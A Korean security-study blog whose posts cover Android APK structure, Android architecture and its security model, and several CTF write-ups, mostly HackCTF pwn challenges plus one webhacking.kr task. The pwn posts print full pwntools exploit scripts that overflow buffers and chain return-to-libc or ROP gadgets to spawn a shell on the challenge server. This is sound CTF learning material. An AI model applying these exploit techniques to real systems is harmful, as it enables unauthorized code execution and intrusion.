zzasgi

META-INF
- 인증 서명과 관련한 정보가 담겨있는 디렉터리
assets
- 의미 그대로 앱 실행에 필요한 자원들이 저장되는 디렉터리.
- res 디렉터리와 중복되는 것 같지만 용량이 큰 파일 위주로 저장된다.
res
- 앱 실행에 필요한 자원이 모여있는 디렉터리
  - Drawable : 프로젝트에 활용될 이미지들
  - Layout : 안드로이드 화면을 담당하는 xml들의 집함
  - Values
    - dimens.xml : 텍스트 크기, 도형 크기 등 크기에 관련된 설정 파일
    - strings.xml : 문자열에 관련된 설정 파일
    - styles.xml : 색상, 액션바 유무, 배경 색 등 화면 디자인 관련 설정을 정의res
- assets 디렉터리에 비해 용량이 작은 파일 위주로 저장된다.

lib
- 라이브러리 파일들이 저장되는 디렉터리
AndroidManifest.xml
- 어플리케이션을 구성하는 컴포넌트 및 패키지명, 버전과 같은 앱의 정보가 저장되는 파일이다.
- AndroidManifest.xml 의 주요 컴포넌트
  - Activity : Activity는 일반적으로 하나의 뷰를 말하며, 해당 Activity에 대한 속성을 정의함
  - Service : 백그라운드에서 실행되는 서비스
  - Broadcast Receiver : 안드로이드 내부 이벤트 핸들링을 위한 컴포넌트 ex) 문자수신, 베터리 부족
  - Content Provide : 어플리케이션간 데이터 공유를 위한 컴포넌트
class.dex
- .class 파일을 달빅 바이트 코드로 변환시킨 소스 파일
resources.arsc
- res의 정보가 기록되어 있다.
- 컴파일된 리소스(문자열, 스타일 등)가 존재

Reference

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=ilikebigmac&logNo=221466806806

https://medium.com/@logishudson0218/android-apk%EC%9D%98-%EA%B5%AC%EC%84%B1%EA%B3%BC-%EC%83%88%EB%A1%9C%EC%9A%B4-app-bundle-%EB%B0%A9%EC%8B%9D-274b1a4cfb62

Android APK의 구성과 새로운 APP Bundle 방식

Android APK의 구성

medium.com

Uploaded by Notion2Tistory v1.1.0

안드로이드 아키텍처

zzasgi — Wed, 29 Sep 2021 14:43:09 +0900

안드로이드 아키텍처 구조

안드로이드 아키텍처

어플리케이션 계층
프레임워크 계층
런타임 계층
네이티브 라이브러리 계층
커널 계층

커널계층

하드웨어, 네트워크, 파일 시스템 접근 등 시스템 전체의 중심 역할 수행

라이브러리 계층

네이티브 라이브러리를 제공하기 위한 계층
- SQLite, WebKit, Media(코텍 지원) 등

런타임 계층

자바 바이트 코드를 DEX 포맷으로 변환하여 패키징 후 실행함
안드로이드 7.0 누가(API24) 이후의 ART VM 에서는 JIT와 AOT를 모두 사용한다.
Dalvik, ART
- Dalvik : JIT(Just In Time)
  - 자바 바이트 코드(.class)를 달빅 바이트 코드(.dex)로 변환해 두고, 이를 런타임에 JIT 컴파일하며 실행하는 방식
  - 중간 언어를 실행하는 것이라 JVM처럼 중간 언어를 해석해줄 Dalvik VM이 필요하다.
  - 앱이 실행되는 순간 자주 사용되는 코드를 컴파일함
  - 설치 속도는 빠르지만 실행 시 마다 컴파일을 진행하기 때문에 실행 시간이 비교적 느림
  - 용량 작음
- ART : AOT(Ahead Of Time)
  - .dex 파일을 .oat 파일로 컴파일하므로 중간 언어(달빅 바이트 코드)를 받아 Native binary로 컴파일하는 방식
  - .oat 파일은 Native machine code로 되어있기 때문에 VM 없이 실행 가능하지만, Dalvik과의 하위 호환성때문에 VM 위에서 돌아가는 것 처럼 실행된다.
  - 앱 설치 시 모든 코드를 컴파일함
  - 설치 시 컴파일을 완료하기 때문에 비교적 설치 속도가 느리지만, 실행 속도가 빠름
  - 용량 큼

프레임워크 계층

JAVA API가 존재하며, 안드로이드 OS의 기능은 해당 API를 통해서 접근함
- Activity Manager : 액티비티의 생명주기를 호출, 공통적인 네비게이션 백스택을 제공
- Resource Manager : 문자열, 그래픽, 레이아웃 파일 등 리소스를 찾아주는 역할
- View System : 리스트, 그리드, 텍스트 뷰, 버튼, 웹 뷰 등 뷰들의 집합
- Content Provider : 안드로이드 4대 컴포넌트 중 하나, 어플리케이션이 다른 어플리케이션으로부터 데이터를 액세스하거나, 자신의 데이터를 공유함
- Package Manager : 현재 디바이스에 설치된 어플리케이션과 관련된 정보를 가지고 있음
- Notification Manager : 모든 어플리케이션의 상태표시줄에 사용자 지정 알림을 표시 할 수 있도록 지원함
- Window Manager : 화면에 대한 정보, 배치 등을 관리하는 시스템 서비스
- Telephony Manager : 단말기의 상태에 대한 정보를 얻을 수 있는 서비스
- Location Manager : 단말의 위치 값을 지속적으로 얻을 수 있는 서비스

어플리케이션 계층

흔히 우리가 사용하는 어플리케이션들이 이 계층에 해당됨
시스템 및 사용자 어플리케이션으로 구분
- 시스템 어플리케이션
  - /system 디렉터리에 존재하며 사용자가 제거/변경 불가능함
  - SMS 메시지 어플리케이션 등이 해당됨
- 사용자 어플리케이션
  - /data 디렉터리에 존재하며, 제거/변경 가능함
  - 각각의 어플리케이션은 샌드박스에 설치되어 영향을 주거나 데이터 통신 불가
  - 각 어플리케이션의 권한을 가진 리소스에만 접근 가능
  - 카카오톡과 같은 일반 어플리케이션 등이 해당됨.

안드로이드 보안 모델

코드 서명
- JAR 서명 기법을 이용하여 어플리케이션 간 신뢰 관계 설정을 위해 APK 파일 서명
- 서명을 통해 설치된 대상 어플리케이션의 인증서와 업데이트할 어플리케이션 비교
권한
- 샌드박스를 이용하여 어플리케이션 설치 시 고유한 UID/GID 를 할당함
- 생성되는 디렉터리 및 파일은 소유자 및 그룹 외 내용 확인이 불가함
TrustZone
- 디바이스 공간을 물리적 또는 논리적으로 분리해서 주요 자원을 보호하는 방법
- 활용 사례 : 지문 저장 정보, 지불 관련 기능 저장, DRM 암호 정보 저장
SELinux
- 강제 접근 제어를 포함한 접근 제어 보안 정책을 지원하는 리눅스 커널 보안 모듈, 안드로이드 5.0부터 완전히 적용됨
- 세가지 모드 : 비활성(disabled), 허용(permissive), 시행(enforcing)

패키지 파일(APK)

Android Application Package 의 약자로 안드로이드에서 프로그램 형태로 배포되는 형식의 파일
jar를 확장한 포맷이며, jar 파일은 zip 압축 파일 포맷을 사용함
패키지 파일 설치 경로
- /data/app/<패키지명>
  - 컴파일된 코드와 앱의 apk 파일이 저장됨
- /data/data/<패키지명>
  - 앱이 사용하는 데이터들이 저장되는 장소

Reference

https://velog.io/@sery270/JVM-DVM-ART

‍♂️JVM, DVM, ART

모바일 환경에 최적화된 런타임을 제공하기 위해, 기존 자바 가상머신인 JVM을 대체하여 DVM이 나타났습니다.이후 DVM이 지금의 ART로 발전되었습니다. 안드로이드 OS와 자바/코틀린이 돌아가는 런

velog.io

https://medium.com/@logishudson0218/android-framework-%EC%95%88%EB%93%9C%EB%A1%9C%EC%9D%B4%EB%93%9C-%ED%94%84%EB%A0%88%EC%9E%84%EC%9B%8C%ED%81%AC-%EC%97%90-%EB%8C%80%ED%95%9C-%EC%A0%95%EB%A6%AC-bda32544fefb

Android Framework(안드로이드 프레임워크)에 대한 정리

안드로이드에 대해 계속 공부하고 있지만, 프로젝트나 기능 위주로만 보다 보니 안드로이드 OS처럼 내 안드로이드 지식도 파편화(?)가 되는 것 같다.

medium.com

https://thesecurity.tistory.com/20

안드로이드 보안 모델

//안드로이드 보안 모델 - 기본적으로 리북스 커널이 제공하는 보안 기능을 사용 - 스마트폰을 사용하는 방식에 맞게 보안 기능을 재구성 - 애플리케이션 격리 : Sandbox, Permission, TrustZone - 플랫폼

thesecurity.tistory.com

https://umbum.dev/616

안드로이드 플랫폼의 구조 / ART

https://developer.android.com/guide/platform/index.html?hl=ko#art Android는 모바일 기기를 위한 Linux 기반 커널과 미들웨어, 핵심 애플리케이션들을 포함한 소프트웨어 스택이라고 볼 수 있다. ART, Andro..

umbum.dev

Uploaded by Notion2Tistory v1.1.0

Notion2Tistory

boltlessengineer.github.io

[hackctf] rtlcore 풀이

zzasgi — Wed, 8 Sep 2021 23:32:48 +0900

1. 문제

checksec

문제 파일의 보호기법은 NX bits가 걸려있다.

main 함수

ida를 사용하여 main 함수를 확인해보니 사용자로부터 입력받은 문자열 s를 check_passcode 함수의 인자로 넣어준 후 함수의 반환값이 hashcode와 같을 시 특정 문자열을 출력한 후 core 함수를 실행한다.

check_passcode 함수

check_passcode 함수는 사용자로부터 입력받은 문자열이 위치한 주소에서 4바이트씩 읽어와서 v2에 더해주는 반복문을 거친 뒤 v2를 반환해준다.

core 함수

core 함수를 확인해보니 printf 심볼의 주소를 출력해주고 read 함수를 사용하여 buf에 입력값을 받는데 buf의 크기는 0x3e 인데 read 함수가 입력 받을 수 있는 문자열의 길이는 0x64인 것으로 보아 여기서 buffer overflow 취약점이 발생한다. 이를 활용하여 RTL 기법을 통해 exploit하면 될 것 같다.

2. 풀이

hashcode

ida에서 hashcode의 값을 확인해보니 0xC0D9B0A7 인 것을 확인했다. 이 hashcode 값을 맞춰줘야 core 함수 실행이 가능하다.

check_passcode 함수

check_passcode 함수에서 반복문을 보면 총 5번을 돌기 때문에 0xC0D9B0A7/5 해서 나눈 값을 5번 보내서 값을 맞춰줘도 되지만, 저는 처음에 0xC0D9B0A7를 보내고 이후에 null을 16바이트 보내서 hashcode와 같은 값으로 맞춰줬다.

이제 core 함수에서 알려주는 printf 심볼 주소를 활용해서 system 함수의 주소와 /bin/sh 문자열의 주소를 구해서 exploit 하면 될 것이다.

nm -D ./libc.so.6 | grep "system"
strings -tx ./libc.so.6 | grep "/bin/sh"

위 명령어를 사용하여 system 함수와 /bin/sh 문자열의 오프셋을 구하여 exploit 코드를 작성했다.

from pwn import *
context.log_level='DEBUG'

p = remote('ctf.j0n9hyun.xyz', 3015)

printf_offset = 0x49020
system_offset = 0x3a940
binsh_offset = 0x15902b

payload2 = ''
payload2 += p32(0xc0d9b0a7)
payload2 += p32(0)
payload2 += p32(0)
payload2 += p32(0)
payload2 += p32(0)

p.recvuntil('Passcode:')

p.sendline(payload2)

p.recvuntil(' 0x')
printf = '0x' + p.recv(8)
printf = int(printf, 16)

libc_base = printf - printf_offset
system = libc_base + system_offset
binsh = libc_base + binsh_offset

payload = ''
payload += 'A' * 0x3e
payload += 'A' * 4
payload += p32(system)
payload += 'A' * 4
payload += p32(binsh)

p.sendline(payload)

p.interactive()

위 exploit 코드를 사용하여 성공적으로 flag 값을 확인할 수 있었다.

3. 후기

이 문제를 푸는데 생각보다 오래 걸렸다. 풀고나니 쉬운 문제였지만, 아직도 메모리에대한 부분에서 기초가 탄탄하지 않아서 hashcode 맞춰주는 if문을 통과하는데 많은 시간을 허비했다. 물론 집중을 잘 했으면 금방 풀었겠지만, 최근에 공부에 집중을 제대로 하지 못한 것 같다. 앞으로 더 열심히 공부를 해야겠다.

[hackctf] g++pwn 풀이

zzasgi — Thu, 12 Aug 2021 21:34:04 +0900

1. 문제

보호기법

보호기법은 NX bit가 걸려있다.

main 코드

코드를 확인해보니 main함수에서는 vuln() 함수를 호출하고 끝난다.

vuln 함수 코드

vuln 함수 코드를 확인해보니 fgets 함수를 사용하여 사용자로부터 입력 받은 값을 s에 넣어주고 이를 input에 넣어준다.

이후 replace 함수를 호출하고 마지막에 strcpy 함수를 사용해 v0를 s로 복사한 후 printf로 출력해준 뒤 종료한다.

std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3)
{
  int v4; // [esp+Ch] [ebp-4Ch]
  char v5[4]; // [esp+10h] [ebp-48h] BYREF
  char v6[7]; // [esp+14h] [ebp-44h] BYREF
  char v7; // [esp+1Bh] [ebp-3Dh] BYREF
  int v8; // [esp+1Ch] [ebp-3Ch]
  char v9[4]; // [esp+20h] [ebp-38h] BYREF
  int v10; // [esp+24h] [ebp-34h] BYREF
  int v11; // [esp+28h] [ebp-30h] BYREF
  char v12; // [esp+2Fh] [ebp-29h] BYREF
  int v13[2]; // [esp+30h] [ebp-28h] BYREF
  char v14[4]; // [esp+38h] [ebp-20h] BYREF
  int v15; // [esp+3Ch] [ebp-1Ch]
  char v16[4]; // [esp+40h] [ebp-18h] BYREF
  int v17; // [esp+44h] [ebp-14h] BYREF
  char v18[4]; // [esp+48h] [ebp-10h] BYREF
  char v19[8]; // [esp+4Ch] [ebp-Ch] BYREF

  while ( std::string::find(a2, a3, 0) != -1 )
  {
    std::allocator<char>::allocator(&v7);
    v8 = std::string::find(a2, a3, 0);
    std::string::begin((std::string *)v9);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v10);
    std::string::begin((std::string *)&v11);
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v6, v11, v10, &v7);
    std::allocator<char>::~allocator(&v7);
    std::allocator<char>::allocator(&v12);
    std::string::end((std::string *)v13);
    v13[1] = std::string::length(a3);
    v15 = std::string::find(a2, a3, 0);
    std::string::begin((std::string *)v16);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(v14);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v17);
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v5, v17, v13[0], &v12);
    std::allocator<char>::~allocator(&v12);
    std::operator+<char>((std::string *)v19);
    std::operator+<char>((std::string *)v18);
    std::string::operator=(a2, v18, v5, v4);
    std::string::~string(v18);
    std::string::~string(v19);
    std::string::~string(v5);
    std::string::~string(v6);
  }
  std::string::string(a1, a2);
  return a1;
}

위는 replace 함수의 코드이다.

2. 풀이

gpwn 실행

문자를 아무리 길게 입력해도 fgets로 입력받기 때문에 정해진 길이 만큼만 입력되어 출력이 된다.

breakpoint replace

replace 함수를 실행해주는 지점에 breakpoint 걸고 확인해보니 첫 번째 인자에는 어떤 주소가 들어있고, 두 번째 인자는 사용자가 입력한 문자열이다. 그리고 세 번째에는 문자열 I, 네 번째에는 문자열 you가 들어있다.

첫 번째 인자

실행 결과를 확인해보니 첫 번째 인자에 사용자가 입력한 문자열의 주소가 들어간다.

replace 함수

replace 함수 코드를 확인해보니 사용자가 입력한 문자열에 replace 함수에 세 번째 인자로 들어간 I 문자열이 없을 때까지 while문을 계속 돌게된다.

replace 실행 전

replace 실행 후

I 문자열을 입력한 후 replace 함수를 실행해보니 'I'가 'you'로 바뀐 것을 확인할 수 있었다. 이를 활용하여 return address를 덮어서 exploit을 하면 될 것으로 보인다.

strcpy breakpoint

strcpy 함수에 breakpoint 를 걸고 확인해보면 replace 함수를 통해 바뀐 문자열이 ebp - 0x3c에 들어가는 것을 알 수 있습니다. 'I' 를 보내면 'you' 로 바뀌게되는 점을 이용하여 return address를 덮을 수 있을 것으로 보입니다.

Exploit code

from pwn import *
context.log_level='DEBUG'

p = remote('ctf.j0n9hyun.xyz', 3011)
#p = process('./gpwn')
#gdb.attach(p)

payload = ''
payload += 'I' * 21
payload += 'A'
payload += p32(0x08048f0d) #get_flag 주소


#p.recvuntil('Tell me something about yourself:')

p.sendline(payload)

p.interactive()

위 Exploit 코드를 사용해서 성공적으로 플래그 값을 획득할 수 있었습니다.

3. 몰랐던 내용

ida로 디컴파일되는 c++ 코드가 함수의 인자도 이상하고 너무 복잡해서 동적 디버깅을 통해서 문제를 풀 수 있었다. c++ ida 코드를 더 많이 봐서 익숙해져야 할 것 같다. 그리고 코드 이해가 안될때는 동적 디버깅을 통해서 문제를 풀어나가면 된다는 점을 다시 깨닫게 되었다.

[hackctf] rtl_world

zzasgi — Mon, 9 Aug 2021 20:32:28 +0900

checksec 결과

문제 파일에는 nx bit 보호기법이 걸려 있습니다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+10h] [ebp-90h]
  char buf; // [esp+14h] [ebp-8Ch]
  void *v6; // [esp+94h] [ebp-Ch]
  void *handle; // [esp+98h] [ebp-8h]
  void *s1; // [esp+9Ch] [ebp-4h]

  setvbuf(stdout, 0, 2, 0);
  handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
  v6 = dlsym(handle, "system");
  dlclose(handle);
  for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )
    ;
  puts("\n\nNPC [Village Presient] : ");
  puts("Binary Boss made our village fall into disuse...");
  puts("If you Have System Armor && Shell Sword.");
  puts("You can kill the Binary Boss...");
  puts("Help me Pwnable Hero... :(\n");
  printf("Your Gold : %d\n", gold);
  while ( 1 )
  {
    Menu();
    printf(">>> ");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 0:
        continue;
      case 1:
        system("clear");
        puts("[Binary Boss]\n");
        puts("Arch:     i386-32-little");
        puts("RELRO:    Partial RELRO");
        puts("Stack:    No canary found");
        puts("NX:       NX enabled");
        puts("PIE:      No PIE (0x8048000)");
        puts("ASLR:  Enable");
        printf("Binary Boss live in %p\n", handle);
        puts("Binart Boss HP is 140 + Armor + 4\n");
        break;
      case 2:
        Get_Money(gold);
        break;
      case 3:
        if ( gold <= 1999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 1999;
          printf("System Armor : %p\n", v6);
        }
        break;
      case 4:
        if ( gold <= 2999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 2999;
          printf("Shell Sword : %p\n", s1);
        }
        break;
      case 5:
        printf("[Attack] > ");
        read(0, &buf, 0x400u);
        return 0;
      case 6:
        puts("Your Not Hero... Bye...");
        exit(0);
        return result;
    }
  }
}

코드를 확인해보니 사용자로부터 입력 값을 받아서 switch case 문을 통해 각각 정해진 동작을 합니다.

switch case문을 확인해보니 3을 입력하고 해당 조건을 맞춰주면 /bin/sh 문자열의 주소를 알아낼 수 있고, 4를 입력하고 조건문을 통과하면 system 함수의 주소를 알 수 있습니다.

그리고 case 5번에서 buffer oveflow 취약점이 발생하여 rtl 기법을 사용하여 exploit 할 수 있을 것으로 보입니다.

우선 system 함수의 주소와 /bin/sh 문자열의 주소를 알기 위해선 gold가 5000 정도 있어야 합니다.

gold는 case 2번에서 Get_Money 함수를 사용하여 얻을 수 있을 것으로 보입니다.

int Get_Money()
{
  int result; // eax
  int v1; // [esp+8h] [ebp-Ch]
  int v2; // [esp+Ch] [ebp-8h]
  int v3; // [esp+10h] [ebp-4h]

  puts("\nThis world is F*cking JabonJui");
  puts("1) Farming...");
  puts("2) Item selling...");
  puts("3) Hunting...");
  v3 = 0;
  v2 = rand();
  printf("(Job)>>> ");
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 == 2 )
  {
    puts("\nItem selling...");
    while ( v3 <= 350 )
      ++v3;
    puts("+ 350 Gold");
    gold += v3;
    result = printf("\nYour Gold is %d\n", gold);
  }
  else if ( v1 > 2 )
  {
    if ( v1 == 3 )
    {
      puts("\nHunting...");
      while ( v3 <= 500 )
        ++v3;
      puts("+ 500 Gold");
      gold += v3;
      result = printf("\nYour Gold is %d\n", gold);
    }
    else if ( v1 == 4 )
    {
      puts("\nWow! you can find Hidden number!");
      puts("Life is Just a One Shot...");
      puts("Gambling...");
      printf("+ %d Gold\n", v2);
      gold += v2;
      result = printf("\nYour Gold is %d\n", gold);
    }
  }
  else if ( v1 == 1 )
  {
    puts("\nFarming...");
    while ( v3 <= 100 )
      ++v3;
    puts("+ 100 Gold");
    gold += v3;
    result = printf("\nYour Gold is %d\n", gold);
  }
  return result;
}

Get_Money 함수를 확인해보니 사용자로부터 입력값을 받아서 각각 다른 값의 gold를 얻어올 수 있습니다. 이를 활용하여 gold를 획득하고 system 함수의 주소와 /bin/sh 문자열의 주소를 알아내서 exploit 하면 될 것 같습니다.

exploit code

from pwn import *
context.log_level='DEBUG'

p = remote("ctf.j0n9hyun.xyz", 3010)
#p = process("./rtl_world")
#gdb.attach(p)

for i in range(8):
    p.recvuntil(">>>")
    p.sendline("2")
    p.recvuntil("(Job)>>>")
    p.sendline("3")

p.sendline("3")
p.recvuntil("System Armor : ")
system_addr = int(p.recv(10), 0)
print system_addr
system_addr = p32(system_addr)

p.recvuntil(">>>")
p.sendline("4")
p.recvuntil("Shell Sword : ")
binsh_addr = int(p.recv(10), 0)
print binsh_addr
binsh_addr = p32(binsh_addr)


payload = ""
payload += "A" * 0x90
payload += system_addr
payload += "A" * 4
payload += binsh_addr

p.recvuntil(">>>")
p.sendline("5")
p.recvuntil("[Attack] > ")
p.sendline(payload)

p.interactive()

위 exploit 코드를 사용하여 flag 값을 획득할 수 있었습니다.

[hackctf] yes_or_no

zzasgi — Thu, 29 Jul 2021 01:10:04 +0900

문제

문제 바이너리 실행

문제 파일을 다운받아 실행해보니 Show me your number~! 라는 문구를 출력하고 사용자로부터 입력을 받습니다.

1234 를 입력하니 All I can say to you is "do_system+1094" 를 출력해주며 종료합니다.

아이다를 사용하여 코드를 확인해보겠습니다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int v5; // ecx
  int v6; // eax
  int v7; // eax
  char s; // [rsp+Eh] [rbp-12h]
  int v10; // [rsp+18h] [rbp-8h]
  int v11; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v11 = 5;
  puts("Show me your number~!");
  fgets(&s, 10, stdin);
  v10 = atoi(&s);
  if ( (v11 - 10) >> 3 < 0 )
  {
    v4 = 0;
  }
  else
  {
    v3 = v11++;
    v4 = v10 - v3;
  }
  if ( v4 == v10 )
  {
    puts("Sorry. You can't come with us");
  }
  else
  {
    v5 = 1204 / ++v11;
    v6 = v11++;
    if ( v10 == (v6 * v5) << (++v11 % 20 + 5) )
    {
      puts("That's cool. Follow me");
      gets(&s);
    }
    else
    {
      v7 = v11--;
      if ( v10 == v7 )
      {
        printf("Why are you here?");
        return 0;
      }
      puts("All I can say to you is \"do_system+1094\".\ngood luck");
    }
  }
  return 0;
}

조건문들을 만족시키면 That's cool. Follow me 가 출력되고 gets 함수를 사용하여 사용자로부터 입력을 받습니다. 취약한 함수인 gets 를 통해서 buffer overflow 가 가능할 것으로 보입니다.

보호기법으로는 NX bits 와 Partial RELRO 가 걸려있는 것으로 확인 됩니다. RTL 기법을 사용하여 Exploit 을 하면 될 것 같습니다.

풀이

우선 gdb를 사용하여 조건문을 만족시킬 수 있는 입력 값을 찾아보겠습니다.

조건문을 통과하여 사용자로부터 입력 값을 받는 gets 함수 전에 있는 조건문을 확인해보면 main+237 지점에서 eax와 [rbp-0x8] 을 비교합니다. 이 시점에 브레이크 포인트를 걸어서 eax 에 있는 값을 확인해보도록 하겠습니다.

rax 레지스터의 값을 확인해보면 0x960000 인걸 확인했습니다. 0x960000 의 10진수인 9830400 을 입력해주면 조건문을 통과할 수 있을 것으로 보입니다. 다음으로 gets 함수를 이용하여 RTL 을 해보도록 하겠습니다.

libc_base 및 system 함수의 주소, /bin/sh 문자열의 주소를 구하기 위해서 gdb를 사용하여 함수들의 offset을 구하도록 하겠습니다.

print 명령어를 사용하여 위에서 부터 차례대로 system_offset, gets_offset, binsh_offset 입니다. 이제 exploit 코드를 작성하여 libcbase 주소를 구하고 RTL 기법을 사용하여 exploit 해보도록 하겠습니다.

RTL을 하기전에 이 문제에서는 stack alignment 와 MOVAPS 명령어에 대해서 알고 있어야 합니다.

MOVAPS 명령어는 XMM 레지스터끼리 혹은 XMM 레지스터와 메모리 사이에서 double quadword( 16byte ) 크기의 데이터를 옮기는 인스트럭션인데, 메모리의 align이 맞지 않으면 general protection( #GP / SIGSEGV ) fault 를 발생시킵니다. 그리고 Ubuntu 18.04부터 이 movaps 인스트럭션이 do_system()을 포함한 여러 멀티미디어 오퍼레이션에 추가되어 exploit을 작성할 때 stack alignment를 신경 써야 합니다.

이 문제의 코드를 보면 All I can say to you is "do_system+1094" 라고 힌트를 줬습니다. gdb 를 사용하여 확인해보면 해당 위치에서 movaps 명령어를 사용하기 때문에 stack alignment 를 맞춰주어 exploit을 해야합니다.

Exploit Code

from pwn import *

context.log_level='DEBUG'

p = remote("ctf.j0n9hyun.xyz", 3009)
#p = process("./yes_or_no", env={'LD_PRELOAD':'./libc-2.27.so'})
#gdb.attach(p)


system_offset = 0x4f440
binsh_offset = 0x1b3e9a

puts_plt = p64(0x0000000000400580)
puts_got = p64(0x601018)

gets_plt = p64(0x00000000004005b0)
gets_got = p64(0x601030)
gets_offset = 0x00000000000800b0

popret = p64(0x400883)
ret = p64(0x0040056e)

p.recvuntil("Show me your number~!\n")

p.sendline("9830400")

p.recvuntil("That's cool. Follow me\n")

payload2 = ""
payload2 += "A" * 0x1a
payload2 += popret
payload2 += gets_got
payload2 += puts_plt
payload2 += p64(0x00000000004006c7)

p.sendline(payload2)

gets = p.recv(6)
print gets

gets += "\x00\x00"
libcbase = u64(gets) - gets_offset
print libcbase
system_addr = libcbase + system_offset
print system_addr
binsh = libcbase + binsh_offset

p.recvuntil("Show me your number~!\n")

p.sendline("9830400")

p.recvuntil("That's cool. Follow me\n")

payload = ""
payload += "A" * 0x1a
payload += ret
payload += popret
payload += p64(binsh)
payload += p64(system_addr)

p.sendline(payload)

p.interactive()

위 exploit 코드를 사용하여 성공적으로 flag 값을 획득할 수 있었습니다.

알게된 내용

MOVAPS 명령어와 Stack Alignment 에 대해서 공부할 수 있었고, pwntools의 gdb attach 기능을 처음 사용하여 동적 디버깅 연습하는 좋은 경험이었습니다. 분석할 때 동적 디버깅의 필요성을 다시 한번 느끼게 되었습니다.

References

https://hackyboiz.github.io/2020/12/06/fabu1ous/x64-stack-alignment/

[hackctf] rtc

zzasgi — Mon, 26 Jul 2021 01:52:34 +0900

이번에는 이전에 dreamhack에서 basic_x64_rop 문제를 풀면서 익혔던 rtc 기법을 복습할겸 hackctf의 rtc 문제를 풀게 되었습니다.

gdb-peda$ disas
Dump of assembler code for function main:
   0x00000000004005f6 <+0>:	push   rbp
   0x00000000004005f7 <+1>:	mov    rbp,rsp
=> 0x00000000004005fa <+4>:	sub    rsp,0x40
   0x00000000004005fe <+8>:	mov    rax,QWORD PTR [rip+0x200a4b]        # 0x601050 <stdin@@GLIBC_2.2.5>
   0x0000000000400605 <+15>:	mov    ecx,0x0
   0x000000000040060a <+20>:	mov    edx,0x2
   0x000000000040060f <+25>:	mov    esi,0x0
   0x0000000000400614 <+30>:	mov    rdi,rax
   0x0000000000400617 <+33>:	call   0x4004e0 <setvbuf@plt>
   0x000000000040061c <+38>:	mov    edx,0x15
   0x0000000000400621 <+43>:	mov    esi,0x4006e4
   0x0000000000400626 <+48>:	mov    edi,0x1
   0x000000000040062b <+53>:	mov    eax,0x0
   0x0000000000400630 <+58>:	call   0x4004b0 <write@plt>
   0x0000000000400635 <+63>:	lea    rax,[rbp-0x40]
   0x0000000000400639 <+67>:	mov    edx,0x200
   0x000000000040063e <+72>:	mov    rsi,rax
   0x0000000000400641 <+75>:	mov    edi,0x0
   0x0000000000400646 <+80>:	mov    eax,0x0
   0x000000000040064b <+85>:	call   0x4004c0 <read@plt>
   0x0000000000400650 <+90>:	nop
   0x0000000000400651 <+91>:	leave  
   0x0000000000400652 <+92>:	ret    
End of assembler dump.

어셈블리를 확인해보면 write 함수를 사용하여 0x4006e4 주소에 있는 값을 출력하고, read 함수를 사용하여 [rbp-0x40]주소에 사용자로부터 입력을 받는 것으로 확인됩니다. rbp - 0x40에 입력을 받는데 0x200 만큼 입력이 가능한 것을 보면 bof 취약점이 존재하는 것을 확인할 수 있습니다.

이제 ida를 통해서 __libc_csu_init 함수를 확인해보도록 하겠습니다.

0x4006ba 주소에서 pop하는 레지스터들이 0x4006a0 주소에서 각각 rdi, rsi, rdx에 들어가고 [r12+rbx*8] 값을 호출하는 것을 확인할 수 있습니다. 이를 활용하여 우리가 원하는대로 함수의 흐름을 가져갈 수 있을 것으로 보입니다.

이를 활용하여 작성한 exploit 코드 입니다.

from pwn import *

context.log_level='DEBUG'

p = remote("ctf.j0n9hyun.xyz", 3025)

set_csu = p64(0x4006BA)
call_csu = p64(0x4006A0)

stdin = p64(0)
stdout = p64(1)

write_plt = p64(0x4004b0)
write_got = p64(0x601018)

read_plt = p64(0x4004c0)
read_got = p64(0x601020)

binsh = "/bin/sh\x00"
bss = p64(0x601050)

read_offset = 0xf7250
system_offset = 0x45390

payload = ""
payload += "A" * 0x48
payload += set_csu
payload += p64(0)
payload += p64(1)
payload += read_got
payload += p64(8)
payload += bss
payload += stdin
payload += call_csu

payload += "A" * 8
payload += p64(0)
payload += p64(1)
payload += write_got
payload += p64(8)
payload += read_got
payload += stdout
payload += call_csu

payload += "A" * 8
payload += p64(0)
payload += p64(1)
payload += read_got
payload += p64(8)
payload += read_got
payload += stdin
payload += call_csu

payload += "A" * 8
payload += p64(0)
payload += p64(0)
payload += read_got
payload += p64(0)
payload += p64(0)
payload += bss
payload += call_csu

p.sendline(payload)

p.recvuntil("Hey, ROP! What's Up?\n")
p.send(binsh)

read = u64(p.recv(8))
libcbase = read - read_offset
system_addr = libcbase + system_offset

print system_addr
p.sendline(p64(system_addr))


p.interactive()

위와 같이 pwntools를 사용하여 Exploit 코드를 작성하였고 성공적으로 flag 값을 획득할 수 있었습니다.

[webhacking.kr] old-36번 풀이

zzasgi — Mon, 17 May 2021 03:24:41 +0900

old-36번 문제를 들어가보면 영어 문구가 뜨는데 해당 문구를 번역해보면 inedex.php 파일이 편집하는 동안 정전으로 소스코드가 사라졌다고 합니다.

이 부분에서 확인해야할 것은 vi 에디터의 복구 파일은 .index.php.swp 와 같은 형식으로 저장이 될 것입니다. 이를 그대로 url로 입력하여 다운로드해서 파일을 확인해보도록 하겠습니다.

webhacking.kr 36번문제 url + .index.php.swp 을 주소창에 입력하면 위 사진과 같이 index.php.swp 파일을 다운로드 받을 수 있습니다.

다운로드 받은 파일의 확장자를 php로 바꿔서 chrome 브라우저로 열어서 페이지 하단을 보니 flag 값을 확인할 수 있었습니다.

파일의 hex 값을 확인해봐도 flag 값을 확인할 수 있었습니다.

[pwnable.kr] input 풀이

zzasgi — Sat, 15 May 2021 02:44:23 +0900

